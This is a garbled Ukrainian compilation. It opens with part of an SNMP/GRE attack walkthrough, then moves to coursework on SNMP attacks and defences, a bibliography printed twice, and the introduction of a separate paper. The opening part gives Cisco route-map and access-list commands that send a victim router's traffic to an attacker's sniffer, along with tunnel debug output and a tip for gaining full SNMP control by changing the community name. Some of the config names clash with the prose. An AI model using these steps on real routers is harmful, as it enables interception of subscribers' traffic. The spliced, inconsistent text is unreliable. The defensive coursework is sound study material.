access-list 101 permit tcp any any eq 25

access-list 101 permit tcp any any eq 110

Ми дозволили передачу даних за протоколами SSL, HTTP, FTP, telnet, SMTP та POP3.

Тепер, якщо трафік відповідає вищеописаним правилам, він буде перенаправлений відповідно до карт маршрутизації, опис яких потрібно додати до файлу конфігурації:

router-map divert-traffic

match ip address 101

set ip next-hop 192.168.10.2

interface Ethernet0/0

ip policy route-map divert-traffic

    Ми створили правило доступу, що дозволяє всі типи трафіку. Ми створили карту маршрутизації divert-to-sniffer (ця карта маршрутизації перенаправлятиме тунельований трафік на сніффер). Створене правило доступу використовується як умова відповідності. Як next-hop адреса ми вказали IP адресу атакуючого (sniffer). Ми використали карту маршрутизації до інтерфейсу tunnel0.

Дуже важливо, що ми використовуємо карту маршрутизації для перенаправлення даних. Маршрутизатор отримує тунельовані дані, інкапсульовані в пакеті GRE, і без декодування пакета ми не можемо їх переглянути. Переправляючи отримані пакети атакуючій (sniffer), маршрутизатор передає їх як звичайні IP пакети без інкапсуляції GRE.

Нарешті, створимо карту маршрутизації та асоціюємо її з інтерфейсом Ethernet0/0:

Attacker(config-if)# route-map divert-out

Attacker(config-route-map)# match ip address 101

Attacker (config-route-map) # set ip next-hop 192.168.10.1

Attacker(config-route-map)# exit

Attacker(config)# interface ethernet0/0

Attacker(config-if)# ip policy route-map divert-out

Ці додаткові параметри означають таке:

    Після того як атакуючий (sniffer) перехопить і переправить тунельовані дані назад, карта маршрутизації divert-out перенаправить трафік назад на маршрутизатор, що атакується. Ми застосували карту маршрутизації до Ethernet інтерфейсу.

Починаємо атаку

Після того як всі налаштування будуть завершені, все, що нам залишиться зробити - завантажити новий модифікований файл конфігурації на маршрутизатор, що атакується. Результатом буде активація GRE тунелю та перенаправлення всього трафіку з локальної мережі атакованого комп'ютера до хакера (sniffer).

Перевірити працездатність тунелю можна, відіславши команду налагодження на маршрутизатор атакуючого:

Attacker# debug tunnel

-> 212.199.145.242, tos = 0x0

*Mar 3 06:38: Tunnel0: GRE/IP для класифікації 212.199.145.242

->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)

*Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55

-> 212.199.145.242, tos = 0x0g all

В результаті цих дій Ethereal на комп'ютері атакуючого отримає такі пакети:

https://pandia.ru/text/78/194/images/image006_20.jpg" width="624" height="468">

Через кілька годин ми отримуємо дані сканування:

Отримані дані містять наступний тип інформації:

- SysName - можна дізнатися адресу, № телефону абонента

- Agent IP Address -

- DNS -

- Response Time -

- Vendor -

- SystemDescription - можна використовувати як додаткову корисну інформацію при атаках

- Community -snmp-community, за допомогою якої ми витягли інформацію

- Location - можна дізнатися адресу, № телефону абонента

- Contact - можна дізнатися ім'я, прізвисько адміністратора

- Last Boot Time -

- Interfaces - чим більше, тим цікавіше

- Discovery Status -

З отриманих даних використовуємо IP адреси та програму Real-time Network Monitor, щоб дізнатися яку корисну інформацію можна отримати за додаткових запитів SNMP.

Також цілком реально отримати повний доступ до апарату, просто замінивши ім'я snmp-community з public на private. Тим самим у нас з'являється можливість надсилати різні snmp команди.

Результат атаки:

Після цього експерименту ми дізналися що:

Не використовується навіть найпростіший метод захисту – access-list-и

З легкістю можна дізнатися кількість клієнтів провайдера

Конфіденційну інформацію клієнтів провайдера

Економічний потенціал провайдера

Корисну інформацію, яку можна використовувати при різних атаках

- легко можна збирати статистику провайдера та його корпоративних клієнтів, при подальшому її використанні з певною метою

- Чи можна запобігти атакі? Методи захисту

Іноді деякі речі не тим, чим здаються. Коли маєш справу з SNMP (або іншими протоколами на основі UDP) завжди потрібно знати про затишні куточки і тріщини, упущення яких може стати причиною компрометації вашої мережі.

Методи захисту дуже прості. Вони повністю залежать від адміністраторів мереж:

Не залишати налаштування стандартного обладнання (by default)

Правильно продумати схему використання протоколу

Визначати складні імена snmp-community

Використовувати access-list-и

Вказувати одиночні IP-адреси в access-list-ах, а не IP ranges (IP діапазони)

- Висновок

Метою роботи було показати не так ефективність описаної атаки, як потенційні проломи протоколів, заснованих на UDP. Це аж ніяк не означає, що обладнання Cisco/ZyXel є небезпечним. Грамотна конфігурація повинна мінімізувати шанси обходу захисту. Помилки мережевих адміністраторів – основні причини компрометацій мережевого обладнання.

ЗМІСТ
ВСТУП 3
1. ТЕОРЕТИЧНЕ ОБГРУНТУВАННЯ ПРОБЛЕМИ ДОСЛІДЖЕННЯ МЕТОДІВ АТАК НА ПРОТОКОЛ SNMP
1.1 НЕОБХІДНІСТЬ ВИВЧЕННЯ МЕТОДІВ АТАК НА ПРОТОКОЛ SNMP 5
1.2 ПРОТОКОЛ SNMP: ОПИС, ПРИЗНАЧЕННЯ 7
2. АНАЛІЗ АТАК НА ПРОТОКОЛ SNMP І СПОСІБ ПРОТИДІЇ
2.1 ТЕХНІКИ АТАК НА ПРОТОКОЛ SNMP І СПОСОБИ ЇХ ПОПЕРЕДЖЕННЯ 11
2.2 СПОСОБИ ПРОТИДІЇ АТАКАМ НА ПРОТОКОЛ SNMP 15
ВИСНОВОК 20
СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ 21

Фрагмент для ознайомлення

Рисунок 3 -Екранна форма утиліти SoftPerfectNetworkScannerЗаплаткиВиробники багатьох мережних пристроїв розробляють так звані латки, використання яких необхідне при виявленні в системі вразливостей. Таким чином, виявивши в мережі пристрої, орієнтовані на SNMP, доцільно зв'язатися з виробниками цих пристроїв, щоб з'ясувати, чи розробили вони необхідні латки. Наведемо алгоритм відключення служби SNMP в операційній системі Windows: Вибір меню Пуск - Панель управління - Адміністрація - Служби (див. рис. 4). Вибір служби SNMP. Якщо служба запущена, натискаємо на кнопку "Зупинити", а потім вибираємо "Тип запуску" - "Відключена". Малюнок 4 - Відключення служби SNMP Варто зауважити, що деякі з потенційно вразливих продуктів залишаються сприйнятливими до DoS-атак або іншим порушуючим стабільність роботи мережі діям навіть при відключеному SNMP.Фільтрація на входіФільтрація на вході ґрунтується на налаштуванні міжмережевих екранів і маршрутизаторів так, щоб вони виконували вхідну фільтрацію портів UDP 161 і 162. Це дозволить запобігти атаки, що ініціюються із зовнішньої мережі, на вразливі пристрої в локальній мережі. Інші порти, що підтримують служби, пов'язані з SNMP, у тому числі порти TCP і UDP 161, 162, 199, 391, 750 і 1993, також можуть вимагати вхідної фільтрації. , що виходить з мережі. Фільтрація вихідного трафіку на портах UDP 161 і 162 на кордоні мережі може запобігти використання вашої системи як плацдарм для атаки. Системи виявлення та запобігання вторгнень апаратний засіб, який виявляє події несанкціонованого проникнення (вторгнення або мережевої атаки) в комп'ютерну систему або мережу. Без IDS стає немислимою інфраструктура мережевої безпеки. Доповнюючи міжмережеві екрани, які функціонують на основі правил безпеки, IDS здійснюють моніторинг та спостереження за підозрілою активністю. Вони дозволяють виявити порушників, які проникли за міжмережевий екран, і повідомити про це адміністратора, який ухвалить необхідне рішення для підтримки безпеки. Методи виявлення вторгнень не гарантують повної безпеки системи. В результаті використання IDS досягаються такі цілі: виявлення мережної атаки або вторгнення; складання прогнозу про ймовірні майбутні атаки та визначення слабких місць системи для запобігання їх використанню. У багатьох випадках зловмисник виконує стадію підготовки, наприклад, зондує (сканує) мережу або тестує її іншим способом, щоб виявити вразливості системи; здійснення документування відомих загроз; отримання цінної інформації про проникнення, що відбулися, щоб відновити і виправити фактори, що призвели до проникнення; виявлення розташування джерела атаки з точки зору зовнішньої мережі (зовнішні або внутрішні атаки), що дозволяє прийняти правильні рішення при розстановці вузлів мережі. У загальному випадку IDS містить: підсистему спостереження, що збирає інформацію про події, що мають відношення до безпеки мережі або системи, що захищається; підсистему аналізу, яка виявляє підозрілі дії та мережеві атаки; сховище, яке зберігає первинні події та результати аналізу; IDS, вивчення виявлених підсистемою аналізу ситуацій. Підводячи підсумок, зазначимо, що простота популярного протоколу SNMP має своїм наслідком підвищену вразливість. Оскільки SNMP застосовується дуже широко, експлуатація мереж із вразливими продуктами може призвести до згубних наслідків. Тому для ефективного застосування протоколу SNMP слід застосовувати різні способи запобігання атакам і будувати комплексну систему захисту. У процесі роботи було виявлено особливості названого протоколу та можливі проблеми його використання. Для обґрунтування проблеми наведено статистичні дані, що підтверджують високу ймовірність реалізації атак мережі. Крім того, теоретична частина містить відомості про структуру протоколу, схему запитів/відгуків та етапи отримання відповідей на запити. уразливості форматного рядка. Звичайно, потенційно можливих загроз набагато більше, але їх огляд передбачає більш глибоке і всебічне дослідження. На основі аналізу виявлено, що протокол SNMP досить вразливий і, якщо все-таки прийнято рішення про його використання, слід розробити політику безпеки і дотримуватися всіх її принципів. Таким чином, можна зробити висновок про досягнення мети та вирішення завдань, визначених у вступі. ДЖЕРЕЛАНормативно-правові актиФедеральний закон Російської Федерації від 27 липня 2006 р. N 149-ФЗ Про інформацію, інформаційні технології та про захист інформації Список спеціалізованої та наукової літературиБланк-Едельман Д. Perl для системного адміністрування, М.: символ-Плюс, 2009. 478с.Бородакій В.Ю. Практика та перспективи створення захищеної інформаційно-обчислювальної хмари на основі МСС ОГВ / В.Ю. Бородакій, А.Ю. Добродєєв, П.А. Нащокін // Актуальні проблеми розвитку технологічних систем державної охорони, спеціального зв'язку та спеціального інформаційного забезпечення: VIII Всеросійська міжвідомча наукова конференція: матеріали та доповіді (Орел, 13–14 лютого 2013 р.). - О 10 год. Ч.4 / За заг.ред. В.В. Мізерова. - Орел: Академія ФСТ Росії, 2013. Гришина Н. В. Організація комплексної системи захисту інформації. - М.: Геліос АРВ, 2009. - 256 с, Дуглас Р. Мауро Основи SNMP, 2-е видання / Дуглас Р. Мауро, Кевін Дж. Шмідт - М.: Символ-Плюс, 2012.-725с. М.В. Комп'ютерні мережі. Практика побудови. Для фахівців, СПб.: Пітер, 2003.-462с.Мулюха В.А. Методи та засоби захисту комп'ютерної інформації. Міжмережеве екранування: Навчальний посібник / Мулюха В.А., Новопашенный А.Г., Подгурський Ю.Є. - СПб.: Видавництво СПбГПУ, 2010. - 91 c. Оліфер В. Г., Оліфер Н. П. Комп'ютерні мережі. Принципи, технології, протоколи. - 4-те. – СПб: Пітер, 2010. -902с. Технології комутації та маршрутизації в локальних комп'ютерних мережах: навчальний посібник / Смирнова. Ст та ін; ред. А.В. Пролетарського. - М.: Вид-во МДТУ ім. н.е. Баумана, 2013. - 389с. Фленов М. Linux очима Хакера, СПб: BHV-Санкт-Петербург, 2005. - 544 с.Хорєєв П.В. Методи та засоби захисту інформації в комп'ютерних системах. - М.: видавничий центр "Академія", 2005. -205 с.Хорошко В. А., Чекатков А. А. Методи та засоби захисту інформації, К.: Юніор, 2003. - 504с. Інтернет-джерела IDS/IPS - Системи виявлення та запобігання вторгненням [Електронний ресурс] URL: http://netconfig.ru/server/ids-ips/.Аналіз Інтернет-загроз у 2014 році. DDoS-атаки. Зламування веб-сайтів. [Електронний ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdfКолищак А. Уразливість форматного рядка [Електронний ресурс]. URL: https://securityvulns.ru/articles/fsbug.aspПерша миля, № 04, 2013 [Електронний ресурс]. URL: http://www.lastmile.su/journal/article/3823 Сімейство стандартів SNMP [Електронний ресурс]. URL: https://ua.wikibooks.org/wiki /Сімейство_стандартів_SNMPІноземналітература"CERT Advisory CA-2002-03: Multiple Vulnerabilities в Багато Implementations of the Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March)

СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ
Нормативно-правові акти
1. Федеральний закон Російської Федерації від 27 липня 2006 р. N 149-ФЗ Про інформацію, інформаційні технології та про захист інформації
Список спеціалізованої та наукової літератури
2. Бланк-Едельман Д. Perl для системного адміністрування, М: символ-Плюс, 2009. - 478с.
3. Бородакій В.Ю. Практика та перспективи створення захищеної інформаційно-обчислювальної хмари на основі МСС ОГВ / В.Ю. Бородакій, А.Ю. Добродєєв, П.А. Нащокін // Актуальні проблеми розвитку технологічних систем державної охорони, спеціального зв'язку та спеціального інформаційного забезпечення: VIII Всеросійська міжвідомча наукова конференція: матеріали та доповіді (Орел, 13–14 лютого 2013 р.). - О 10 год. Ч.4 / За заг.ред. В.В. Мізерова. - Орел: Академія ФСТ Росії, 2013.
4. Гришина Н. В. Організація комплексної системи захисту інформації. - М.: Геліос АРВ, 2009. - 256 с,
5. Дуглас Р. Мауро Основи SNMP, 2-е видання / Дуглас Р. Мауро, Кевін Дж. Шмідт - М.: Символ-Плюс, 2012.-725с.
6. Кульгін М.В. Комп'ютерні мережі. Практика побудови. Для фахівців, СПб.: Пітер, 2003.-462с.
7. Мулюха В.А. Методи та засоби захисту комп'ютерної інформації. Міжмережеве екранування: Навчальний посібник / Мулюха В.А., Новопашенный А.Г., Подгурський Ю.Є. - СПб.: Видавництво СПбГПУ, 2010. - 91 с.
8. Оліфер В. Г., Оліфер Н. П. Комп'ютерні мережі. Принципи, технології, протоколи. - 4-те. – СПб: Пітер, 2010. -902с.
9. Технології комутації та маршрутизації в локальних комп'ютерних мережах: навчальний посібник / Смирнова. Ст та ін; ред. А.В. Пролетарського. - М.: Вид-во МДТУ ім. н.е. Баумана, 2013. - 389с.
10. Фленов М. Linux очима Хакера, СПб: BHV-Санкт-Петербург, 2005. - 544 с.
11. Хореєв П.В. Методи та засоби захисту інформації в комп'ютерних системах. - М.: видавничий центр "Академія", 2005. -205 с.
12. Хорошко В. А., Чекатков А. А. Методи та засоби захисту інформації, К.: Юніор, 2003. – 504с.
Інтернет-джерела
13. IDS/IPS - Системи виявлення та запобігання вторгненням [Електронний ресурс] URL: http://netconfig.ru/server/ids-ips/.
14. Аналіз Інтернет-загроз у 2014 році. DDoS-атаки. Зламування веб-сайтів. [Електронний ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdf
15. Коліщак А. Вразливість форматного рядка [Електронний ресурс]. URL: https://securityvulns.ru/articles/fsbug.asp
16. Перша миля, №04, 2013 [Електронний ресурс]. URL: http://www.lastmile.su/journal/article/3823
17. Сімейство стандартів SNMP [Електронний ресурс]. URL: https://ua.wikibooks.org/wiki /Сімейство_стандартів_SNMP
Іноземналітература
18. "CERT Advisory CA-2002-03: Multiple Vulnerabilities в багатьох Implementations of Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March)

Розміщено на http:// www. allbest. ru/

Розміщено на http:// www. allbest. ru/

огляд технік мережевих атак на мережевому рівні моделі OSI та методи протидії

ВСТУП

мережеві атаки троянського вірусу

Будь-яка інформація має три основні властивості:

· Конфіденційність.

· Цілісність.

· Доступність.

Пояснити кожен із цих властивостей.

Конфіденційна інформація - це відомості, які знаходяться у володінні, користуванні або розпорядженні окремих фізичних або юридичних осіб та поширюються за їх бажанням відповідно до його положень умов.

Цілісність інформації (цілісність даних) - термін в інформатиці та теорії телекомунікацій, який означає, що дані повні, умова того, що дані не були змінені при виконанні будь-якої операції над ними, передача, зберігання або подання.

Доступність інформації - стан інформації (ресурсів автоматизованої інформаційної системи), у якому суб'єкти, мають права доступу, можуть реалізовувати їх безперешкодно. Права доступу: право на читання, зміну, копіювання, знищення інформації та право на зміну, використання, знищення ресурсів.

Існують три основні способи захисту інформації, які розташовані в порядку їхньої важливості:

· Організаційні методи захисту інформації. Організаційний захист інформації є організаційним початком, так званим "ядром" у загальній системі захисту конфіденційної інформації підприємства. Від повноти та якості рішення керівництвом підприємства та посадовими особами організаційних завдань залежить ефективність функціонування системи захисту інформації загалом. Роль і місце організаційного захисту інформації у загальній системі заходів, спрямованих на захист конфіденційної інформації підприємства, визначаються винятковою важливістю для прийняття керівництвом своєчасних та вірних управлінських рішень з урахуванням наявних у його розпорядженні сил, засобів, методів та способів захисту інформації та на основі чинного нормативно- методичного апарату.

· Технічні методи захисту інформації. Ці методи припускають наявність у пристроїв та технічних засобів обробки інформації, засобів спеціальних технічних рішень, що забезпечують захист та контроль інформації. І, крім того, методи захисту інформації, тобто сукупність алгоритмів та програм, що забезпечують розмежування доступу та виключення несанкціонованого використання інформації.